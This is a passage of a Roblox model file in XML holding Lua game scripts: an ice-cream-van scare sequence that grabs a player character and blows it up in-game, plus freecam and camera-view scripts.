  Vehicle_Part_Mesh.MeshType  = Enum.MeshType.Cylinder
  Vehicle_Part_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.252000,1.373000,1.511000)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
</ProtectedString>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX77">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">vanaction</string>
					<ProtectedString name="Source">----------------------------------------------------------------
--  Ice-Cream Van &#147;Drive-to-Pickup&#148; - 2010 Roblox compatible
--  &#149; Vehicle template  :  workspace.IcecreamVan
--  &#149; Target character  :  workspace.Player
--  &#149; Starts automatically 4 s after script runs
----------------------------------------------------------------


local function waitForChild(parent, name)
    local child = parent:FindFirstChild(name)
    while not child do
        wait(0.1)  -- yield a heartbeat
        child = parent:FindFirstChild(name)
    end
    return child
end

-- ---------------- CONFIGURATION ----------------
-- Negative = lower the vehicle; positive = raise it
local verticalOffset = -2 

-- ---------------- REFERENCES ----------------
--local target = workspace:FindFirstChild(&quot;Player&quot;)
local target = script.Value.Value
local vanSrc = waitForChild(game.Lighting, &quot;IcecreamVan&quot;)
if not (target and vanSrc) then
    print(&quot;Missing Player or IcecreamVan; aborting.&quot;)
    return
end

-- ----------- RECURSIVE PARTS / OFFSET HELPERS -----------
local function collectParts(model, list)
    for _, c in ipairs(model:children()) do
        if c:isA(&quot;BasePart&quot;) then
            table.insert(list, c)
        else
            collectParts(c, list)
        end
    end
end

local function offsetModel(model, deltaCF)
    local parts = {}
    collectParts(model, parts)
    for _, p in ipairs(parts) do
        p.CFrame = deltaCF * p.CFrame
    end
end

-- --------------- 1) HIDE &amp; PREPARE VICTIM ---------------
local victim = target
local head   = victim:FindFirstChild(&quot;Head&quot;) or victim:FindFirstChild(&quot;Torso&quot;)
if not head then print(&quot;No head/torso on Player; abort.&quot;) return end
for _, p in ipairs(victim:children()) do
&#9;if p:isA(&quot;Humanoid&quot;) then p.WalkSpeed = 0 end
    if p:IsA(&quot;BasePart&quot;) then p.Anchored = true end
end

-- --------------- 2) SPAWN &amp; ORIENT VAN ---------------
local van = vanSrc:Clone()
van.Parent = workspace
for _, p in ipairs(van:children()) do
    if p:IsA(&quot;BasePart&quot;) then p.Anchored = true end
end

local Debris = game:GetService(&quot;Debris&quot;)
Debris:AddItem(van, 50)

local door = van:findFirstChild(&quot;VanDoor&quot;) 
            and van.VanDoor:findFirstChild(&quot;Part1&quot;)
if not door then print(&quot;Missing VanDoor.Part1; abort.&quot;) van:remove() return end

-- incorporate verticalOffset here:
local desiredDoorCF = head.CFrame
    * CFrame.new(-210, 3 + verticalOffset, -4)
    * CFrame.Angles(0, math.rad(90), 0)

local delta = desiredDoorCF * door.CFrame:inverse()
offsetModel(van, delta)

-- ---------- 3) DRIVE TOWARD PLAYER UNTIL DOOR2 CLOSE ----------
local driveTime  = 14
local distance   = 400
local steps      = 140
local stepDist   = distance / steps
local forwardDir = -door.CFrame.lookVector

local stopRadius = 4.38
local stopDelay  = 1

local arrivedStep
for i = 1, steps do
    offsetModel(van, CFrame.new(
        forwardDir.X * stepDist,
        forwardDir.Y * stepDist,
        forwardDir.Z * stepDist
    ))
    wait(driveTime / steps)

    local d2 = van.VanDoor.Part1.CFrame.p
    local hp = head.CFrame.p
    if (d2 - hp).magnitude &lt;= stopRadius then
        wait(stopDelay)
        arrivedStep = i
        break
    end
end

-- ----------- 4) OPEN DOORS &amp; LOAD VICTIM -----------
van.VanDoor.Part1.Transparency = 1
van.VanDoor.Part2.Transparency = 1
wait(1)

local clownHead = van:findFirstChild(&quot;Clown&quot;)
                 and van.Clown:findFirstChild(&quot;Head&quot;)
if clownHead then
    local baseCF = clownHead.CFrame 
        * CFrame.new(0,0,-2.5) 
        * CFrame.Angles(0, math.rad(180), 0)
    local refCF  = head.CFrame
    for _, p in ipairs(victim:children()) do
        if p:IsA(&quot;BasePart&quot;) then
            p.CFrame = baseCF * (refCF:inverse() * p.CFrame)
        end
    end
end

for _, h in ipairs(victim:children()) do
    if h.className == &quot;Hat&quot; then h:remove() end
end

wait(1)
van.VanDoor.Part1.Transparency = 0
van.VanDoor.Part2.Transparency = 0
victim.Parent = van

-- ---------- 5) CONTINUE DRIVING ----------
if arrivedStep then
    for j = arrivedStep + 1, steps do
        offsetModel(van, CFrame.new(
            forwardDir.X * stepDist,
            forwardDir.Y * stepDist,
            forwardDir.Z * stepDist
        ))
        wait(driveTime / steps)
    end
end

-- --------- 6) SCARE &amp; EXPLODE ---------
wait()
local arm = van:findFirstChild(&quot;Clown&quot;)
         and van.Clown:findFirstChild(&quot;Right Arm&quot;)
if arm then
    arm.CFrame = arm.CFrame * CFrame.fromEulerAnglesXYZ(
        math.rad(45), 0, 0
    )
end

if van:findFirstChild(&quot;Doll&quot;) then
    for _, bp in ipairs(van.Doll:children()) do
        if bp:IsA(&quot;BasePart&quot;) then bp.Transparency = 0 end
    end
end

wait(1.5)
if victim:findFirstChild(&quot;Head&quot;) and victim.Head:findFirstChild(&quot;face&quot;) then
local face = victim:findFirstChild(&quot;Head&quot;)
          and victim.Head:findFirstChild(&quot;face&quot;)
if face then
    face.Texture = &quot;http://www.roblox.com/Asset/?id=288918236&quot;
end
end

wait(2.5)
local boom = Instance.new(&quot;Explosion&quot;)
if victim:findFirstChild(&quot;Head&quot;) or victim:findFirstChild(&quot;Torso&quot;) then
boom.Position = (victim:findFirstChild(&quot;Head&quot;)
    or victim:findFirstChild(&quot;Torso&quot;)).Position
boom.Parent   = workspace
end

-- --------- 7) CLEAN-UP ---------
wait(5)
van:remove()
victim:remove()
target.Parent = workspace

print(&quot;Mission Success&quot;)
</ProtectedString>
				</Properties>
				<Item class="ObjectValue" referent="RBX78">
					<Properties>
						<string name="Name">Value</string>
						<Ref name="Value">null</Ref>
					</Properties>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX79">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">L2012fc</string>
					<ProtectedString name="Source">-- LocalScript for freecam in Roblox 2013+ (no HopperBin)


local Players = game:GetService(&quot;Players&quot;)
local plr     = Players.LocalPlayer
local camera  = workspace.CurrentCamera

-- save original camera settings
local origCamType, origCamSubject = camera.CameraType, camera.CameraSubject

-- movement state
local dir       = {f=0,b=0,l=0,r=0,u=0,d=0}
local boost, slow = false, false
local running    = false
local loopCo, downConn, upConn
local currentMouse

-- clone state
local cloneModel, cloneHead, cloneHum

-- original humanoid speed
local originalHum, origWalkSpeed

-- tuning constants
local BASE_STEP  = 1
local BOOST_MULT = 2
local SLOW_MULT  = 0.5

-- read Speed NumberValue under this LocalScript, minimum 0.1
local function baseMult()
    local v = script:findFirstChild(&quot;Speed&quot;)
    if v and v:isA(&quot;NumberValue&quot;) then
        return (v.Value &lt; 0.1) and 0.1 or v.Value
    end
    return 1
end

local function stepSize()
    local m = BASE_STEP * baseMult()
    if boost then m = m * BOOST_MULT end
    if slow  then m = m * SLOW_MULT  end
    return m
end

-- get horizontal forward/right from camera
local function flatForward()
    local lv = camera.CoordinateFrame.lookVector
    local f  = Vector3.new(lv.x,0,lv.z)
    return (f.magnitude&gt;0) and f.unit or Vector3.new(0,0,-1)
end
local function flatRight()
    local f = flatForward()
    return Vector3.new(-f.z,0,f.x)
end

-- move the clone head each frame
local function startLoop()
    if loopCo and coroutine.status(loopCo)~=&quot;dead&quot; then return end
    loopCo = coroutine.create(function()
        while running and cloneHead do
            wait()
            local s      = stepSize()
            local forward= flatForward() * dir.f
            local back   = flatForward() * -dir.b
            local right  = flatRight()   * dir.r
            local left   = flatRight()   * -dir.l
            local upv    = Vector3.new(0,1,0) * dir.u
            local downv  = Vector3.new(0,1,0) * -dir.d
            local delta  = (forward+back+right+left+upv+downv) * s
            if delta.magnitude &gt; 0 then
                cloneHead.CFrame = cloneHead.CFrame + delta
            end
        end
    end)
    coroutine.resume(loopCo)
end

-- forward declarations
local function startFreecam() end
local function stopFreecam() end

-- reference the Disable flag
wait()
local disableVal = script:findFirstChild(&quot;Disable&quot;)
if not (disableVal and disableVal:isA(&quot;BoolValue&quot;)) then
   print(&quot;Freecam script expects a BoolValue named &apos;Disable&apos; under the script.&quot;)
end

-- whenever Disable is set true, exit freecam
if disableVal then
    disableVal.Changed:connect(function()
        if disableVal.Value then
            stopFreecam()
        end
    end)
end

-- start freecam: clone head &amp; humanoid, freeze player, prepare movement
function startFreecam()
    if running then return end
    -- reset flag so we can toggle again later
    if disableVal then disableVal.Value = false end

    local char = plr.Character
    if not char then return end

    -- freeze real humanoid
    originalHum = char:findFirstChild(&quot;Humanoid&quot;)
    if originalHum then
        origWalkSpeed         = originalHum.WalkSpeed
        originalHum.WalkSpeed = 0
    end

    -- clone head + humanoid only
    char.Archivable = true
    cloneModel     = char:clone()
    cloneModel.Name= plr.Name..&quot;FreeCam&quot;
    for _,v in ipairs(cloneModel:children()) do
        if not (v:isA(&quot;Humanoid&quot;) or v.Name==&quot;Head&quot;) then
            v:Remove()
        end
    end

    cloneHead = cloneModel:findFirstChild(&quot;Head&quot;)
    cloneHum  = cloneModel:findFirstChild(&quot;Humanoid&quot;)
    if not (cloneHead and cloneHum) then
        cloneModel:Remove()
        return
    end

    -- invisible clone head, remove decals
    cloneHead.Transparency = 1
    for _,d in ipairs(cloneHead:children()) do
        if d.className == &quot;Decal&quot; then d:Remove() end
    end

    cloneHead.Anchored     = true
    cloneHead.CanCollide   = false
    cloneHum.PlatformStand = true

    cloneHead.CFrame       = camera.CoordinateFrame
    cloneModel.Parent      = workspace

    camera.CameraType      = &quot;Track&quot;
    camera.CameraSubject = cloneHead


    dir   = {f=0,b=0,l=0,r=0,u=0,d=0}
    boost, slow = false, false
    running = true
    startLoop()
end

-- stop freecam: restore camera, unfreeze, clean up clone
function stopFreecam()
    if not running then return end
    running = false

    -- remove clone
    if cloneModel then
        cloneModel:Remove()
        cloneModel, cloneHead, cloneHum = nil, nil, nil
    end

    -- restore camera
    camera.CameraType    = &quot;Custom&quot;
    local realHum = plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
    camera.CameraSubject = realHum or origCamSubject

    -- restore humanoid speed
    if originalHum and origWalkSpeed then
        originalHum.WalkSpeed = origWalkSpeed
    end

    dir   = {f=0,b=0,l=0,r=0,u=0,d=0}
    boost, slow = false, false
end

-- toggle freecam with F and handle movement keys
local function onKeyDown(key)
    local k = key:lower()
    if k == &quot;f&quot; then
        if running then
            -- signal to exit via BoolValue
            if disableVal then disableVal.Value = true end
        else
            startFreecam()
        end
        return
    end
    if      k==&quot;w&quot; then dir.f=1
    elseif  k==&quot;s&quot; then dir.b=1
    elseif  k==&quot;a&quot; then dir.l=1
    elseif  k==&quot;d&quot; then dir.r=1
    elseif  k==&quot;q&quot; then dir.d=1
    elseif  k==&quot;e&quot; then dir.u=1 end

    local c = key:byte()
    if c == 48 then       -- Shift
        boost = true
    elseif c == 50 then   -- Ctrl
        slow = true
    end
end

local function onKeyUp(key)
    local k = key:lower()
    if      k==&quot;w&quot; then dir.f=0
    elseif  k==&quot;s&quot; then dir.b=0
    elseif  k==&quot;a&quot; then dir.l=0
    elseif  k==&quot;d&quot; then dir.r=0
    elseif  k==&quot;q&quot; then dir.d=0
    elseif  k==&quot;e&quot; then dir.u=0 end

    local c = key:byte()
    if c == 48 then boost = false
    elseif c == 50 then slow = false
    end
end

-- grab the player&apos;s mouse and bind input
currentMouse = plr:GetMouse()
downConn = currentMouse.KeyDown:connect(onKeyDown)
upConn   = currentMouse.KeyUp:connect(onKeyUp)

-- start freecam immediately
startFreecam()
</ProtectedString>
				</Properties>
				<Item class="NumberValue" referent="RBX80">
					<Properties>
						<string name="Name">Speed</string>
						<double name="Value">1</double>
					</Properties>
				</Item>
				<Item class="BoolValue" referent="RBX81">
					<Properties>
						<string name="Name">Disable</string>
						<bool name="Value">false</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="HopperBin" referent="RBX82">
				<Properties>
					<bool name="Active">false</bool>
					<token name="BinType">0</token>
					<string name="Name">Freecam</string>
					<Content name="TextureId"><null></null></Content>
				</Properties>
				<Item class="LocalScript" referent="RBX83">
					<Properties>
						<bool name="Disabled">true</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">LocalScript</string>
						<ProtectedString name="Source">-- LocalScript ? HopperBin (StarterPack)

local bin     = script.Parent
assert(bin and bin.className == &quot;HopperBin&quot;, &quot;Must be inside a HopperBin&quot;)

local Players = game:GetService(&quot;Players&quot;)
local plr     = Players.LocalPlayer
local camera  = workspace.CurrentCamera

-- external toggle flag
wait(0.3)
local disableFlag = script:findFirstChild(&quot;Disable&quot;)
if not disableFlag then
    disableFlag       = Instance.new(&quot;BoolValue&quot;)
    disableFlag.Name  = &quot;Disable&quot;
    disableFlag.Value = false
    disableFlag.Parent= script
end

-- save original camera settings
local origCamType, origCamSubject = camera.CameraType, camera.CameraSubject

-- movement state
local dir       = {f=0,b=0,l=0,r=0,u=0,d=0}
local boost, slow = false, false
local running    = false
local loopCo, downConn, upConn
local currentMouse

-- clone state
local cloneModel, cloneHead, cloneHum

-- original humanoid speed
local originalHum, origWalkSpeed

-- tuning constants
local BASE_STEP  = 1
local BOOST_MULT = 2
local SLOW_MULT  = 0.5

-- read Speed NumberValue under this LocalScript, minimum 0.1
local function baseMult()
    local v = script:findFirstChild(&quot;Speed&quot;)
    if v and v:isA(&quot;NumberValue&quot;) then
        return (v.Value &lt; 0.1) and 0.1 or v.Value
    end
    return 1
end

local function stepSize()
    local m = BASE_STEP * baseMult()
    if boost then m = m * BOOST_MULT end
    if slow  then m = m * SLOW_MULT  end
    return m
end

-- get horizontal forward/right from camera
local function flatForward()
    local lv = camera.CoordinateFrame.lookVector
    local f  = Vector3.new(lv.x,0,lv.z)
    return (f.magnitude&gt;0) and f.unit or Vector3.new(0,0,-1)
end
local function flatRight()
    local f = flatForward()
    return Vector3.new(-f.z,0,f.x)
end

-- move the clone head each frame
local function startLoop()
    if loopCo and coroutine.status(loopCo)~=&quot;dead&quot; then return end
    loopCo = coroutine.create(function()
        while running and cloneHead do
            wait()
            local s      = stepSize()
            local forward= flatForward() * dir.f
            local back   = flatForward() * -dir.b
            local right  = flatRight()   * dir.r
            local left   = flatRight()   * -dir.l
            local upv    = Vector3.new(0,1,0) * dir.u
            local downv  = Vector3.new(0,1,0) * -dir.d
            local delta  = (forward+back+right+left+upv+downv) * s
            if delta.magnitude &gt; 0 then
                cloneHead.CFrame = cloneHead.CFrame + delta
            end
        end
    end)
    coroutine.resume(loopCo)
end

-- start freecam: clone head &amp; humanoid, freeze player, prepare movement
local function startFreecam()
    if running or not currentMouse then return end
    local char = plr.Character
    if not char then return end

    -- freeze real humanoid
    originalHum = char:findFirstChild(&quot;Humanoid&quot;)
    if originalHum then
        origWalkSpeed         = originalHum.WalkSpeed
        originalHum.WalkSpeed = 0
    end

    -- clone head + humanoid only
    char.archivable = true
    cloneModel      = char:clone()
    cloneModel.Name = plr.Name..&quot;FreeCam&quot;
    for _,v in ipairs(cloneModel:children()) do
        if not (v:isA(&quot;Humanoid&quot;) or v.Name==&quot;Head&quot;) then
            v:Remove()
        end
    end

    cloneHead = cloneModel:findFirstChild(&quot;Head&quot;)
    cloneHum  = cloneModel:findFirstChild(&quot;Humanoid&quot;)
    if not (cloneHead and cloneHum) then
        if cloneModel then cloneModel:Remove() end
        return
    end

    -- invisible clone head, remove decals
    cloneHead.Transparency = 1
    for _,d in ipairs(cloneHead:children()) do
        if d.className == &quot;Decal&quot; then d:Remove() end
    end

    cloneHead.Anchored     = true
    cloneHead.CanCollide   = false
    cloneHum.PlatformStand = true

    cloneHead.CFrame       = camera.CoordinateFrame
    cloneModel.Parent      = workspace

    camera.CameraType      = &quot;Track&quot;
    camera.CameraSubject   = cloneHum

    dir   = {f=0,b=0,l=0,r=0,u=0,d=0}
    boost, slow = false, false
    running = true
    startLoop()
end

-- stop freecam: restore camera, unfreeze, clean up clone
local function stopFreecam()
    if not running then return end
    running = false

    -- remove clone
    if cloneModel then
        cloneModel:Remove()
        cloneModel, cloneHead, cloneHum = nil, nil, nil
    end

    -- restore camera
    camera.CameraType    = &quot;Custom&quot;
    local realHum = plr.Character and plr.Character:findFirstChild(&quot;Humanoid&quot;)
    camera.CameraSubject = realHum or origCamSubject

    -- restore humanoid speed
    if originalHum and origWalkSpeed then
        originalHum.WalkSpeed = origWalkSpeed
    end

    dir   = {f=0,b=0,l=0,r=0,u=0,d=0}
    boost, slow = false, false
end

-- react to external Disable flag
local function onDisableChanged(val)
    if val == true or val == &quot;true&quot; then
        if running then stopFreecam() end
    else
        if not running and currentMouse then startFreecam() end
    end
end
disableFlag.Changed:connect(onDisableChanged)

-- toggle freecam with F
local function onKeyDown(key)
    local k = key:lower()
    if k == &quot;f&quot; then
        if running then
            stopFreecam()
            if disableFlag.Value == false then disableFlag.Value = true end
        else
            startFreecam()
            if disableFlag.Value == true then disableFlag.Value = false end
        end
        return
    end
    if      k == &quot;w&quot; then dir.f = 1
    elseif  k == &quot;s&quot; then dir.b = 1
    elseif  k == &quot;a&quot; then dir.l = 1
    elseif  k == &quot;d&quot; then dir.r = 1
    elseif  k == &quot;q&quot; then dir.d = 1
    elseif  k == &quot;e&quot; then dir.u = 1 end

    local c = key:byte()
    if c == 48 then       -- Shift
        boost = true
    elseif c == 50 then   -- Ctrl
        slow = true
    end
end

local function onKeyUp(key)
    local k = key:lower()
    if      k == &quot;w&quot; then dir.f = 0
    elseif  k == &quot;s&quot; then dir.b = 0
    elseif  k == &quot;a&quot; then dir.l = 0
    elseif  k == &quot;d&quot; then dir.r = 0
    elseif  k == &quot;q&quot; then dir.d = 0
    elseif  k == &quot;e&quot; then dir.u = 0 end

    local c = key:byte()
    if c == 48 then       -- Shift
        boost = false
    elseif c == 50 then   -- Ctrl
        slow = false
    end
end

-- bind on equip
bin.Selected:connect(function(mouse)
    currentMouse = mouse
    downConn = mouse.KeyDown:connect(onKeyDown)
    upConn   = mouse.KeyUp:connect(onKeyUp)
    startFreecam()
    disableFlag.Value = false
end)

-- bind on unequip
bin.Deselected:connect(function()
    stopFreecam()
    disableFlag.Value = true
    if downConn then downConn:disconnect() end
    if upConn   then upConn:disconnect()   end
    currentMouse = nil
end)
</ProtectedString>
					</Properties>
					<Item class="NumberValue" referent="RBX84">
						<Properties>
							<string name="Name">Speed</string>
							<double name="Value">1</double>
						</Properties>
					</Item>
					<Item class="BoolValue" referent="RBX85">
						<Properties>
							<string name="Name">Disable</string>
							<bool name="Value">false</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="LocalScript" referent="RBX86">
				<Properties>
					<bool name="Disabled">true</bool>
					<Content name="LinkedSource"><null></null></Content>
					<string name="Name">view</string>
					<ProtectedString name="Source">wait()
local target = script.Target
local dis = script.Disable
local cam = workspace.Camera
local lp = game.Players.LocalPlayer.Character.Humanoid

dis.Changed:connect(function()
if dis.Value then
cam.CameraSubject = lp
else
cam.CameraSubject = target.Value
end
end)

target.Changed:connect(function()
cam.CameraSubject = target.Value
end)

cam.CameraSubject = target.Value</ProtectedString>
				</Properties>
				<Item class="BoolValue" referent="RBX87">
					<Properties>
						<string name="Name">Disable</string>
						<bool name="Value">false</bool>
					</Properties>
				</Item>
				<Item class="ObjectValue" referent="RBX88">
					<Properties>
						<string name="Name">Target</string>
						<Ref name="Value">null</Ref>
					</Properties>
				</Item>
			</Item>
		</Item>
	</Item>
</roblox>